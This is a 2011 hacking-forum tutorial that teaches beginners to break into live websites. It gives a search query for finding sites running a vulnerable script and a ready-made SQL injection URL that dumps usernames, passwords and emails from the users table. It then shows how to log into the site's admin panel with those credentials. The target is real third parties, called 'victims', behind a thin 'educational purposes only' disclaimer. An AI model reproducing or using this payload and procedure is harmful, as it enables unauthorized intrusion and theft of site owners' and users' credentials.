+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: [HOT][TUT]WEBSITE HACKING - LEARNING TO HACK A WEBSITE PART - 1(NooB FRIENDLY! (/Thread-HOT-TUT-WEBSITE-HACKING-LEARNING-TO-HACK-A-WEBSITE-PART-1-NooB-FRIENDLY)
[HOT][TUT]WEBSITE HACKING - LEARNING TO HACK A WEBSITE PART - 1(NooB FRIENDLY! - numan_malik999 - 08-01-2011
Icon10 [HOT][TUT]WEBSITE HACKING - LEARNING TO HACK A WEBSITE PART - 1(NooB FRIENDLY!)
WEBSITE HACKING - LEARNING TO HACK A WEBSITE PART - 1(NooB FRIENDLY!)
***********************************************************************
NOTE - This tutorial is for Educational Purposes Only...
***********************************************************************
EASY WEBSITE HACKING FOR BEGINNERS(Abiggrin Me Included) :
Well after seeing so many Post after Post about http://www.************.com or http://www.###############.com hacked by @@@@@@@@,I felt its about time for us to join the Bandwagon too!
REMEMBER :
RULE 1. Destruction of anyone's hard work is a shame and nothing to be proud of!!!
RULE 2. All my Tutorials are for Educational Purpose Only and as usual I vehemently refuse to accept any responsibility for its Misuse. Lipssealed
RULE 3. In no way will I accompany you to any correctional facility or help pay the fine Imposed for being stupid enough to get caught in the first place! Rofl
RULE 4. REMEMBER to REMEMBER THAT YOU NEED TO USE FIREFOX!!!
STEP BY STEP INSTRUCTION :
* STEP 1. Go to GOOGLE!!! Those who don't know this Kindly CLICK :GOOGLE
* STEP 2. TYPE AND SEARCH FOR :
Quote
owered by EasySiteNetwork /category.phpREMEMBER : When you are choosing a site to hack, make sure you dont choose one mentioning about sql injection...
* STEP 3. APPLYING THE EXPLOIT :
Make sure the url of the site you chose contains category.php somewhere in the link.
Now copy the Script given below and starting from category.php highlight the rest of the url and replace it with the given script.
Code:
/category.php?catid=1+union+select+111,222,concat_ws(char(58),login,password,emai​l),444+from+users/*
HIT Enter and notice the changes to the page.
* STEP 4. INTERPRETING THE RESULT :
The user information will be displayed along this format :
Username: Password: Email
NOTE: Incases having more then one username and password, then most likely the one displayed second is the Admin Account...
* STEP 5. LOGGING INTO THE ADMIN CONTROL PANEL :
In order to login to the Admin Control Panel, Just add the following extension to the original url :
Quote: /siteadmin/index.php
NOTE: In most cases you'll see the popup for the Admin Control Panel login, but if in few cases it is-int displayed or doesn't work, then just login like any other user would on the home page.
* STEP 6. Congrats!!! You are now logged into the Admin Control Panel and you have complete access to do as you please.(Doesnt mean you Deface a site!!!)
If you can find out the server or host on which your victims website is Hosted, you can even login to their FTP by typing in a false path!!!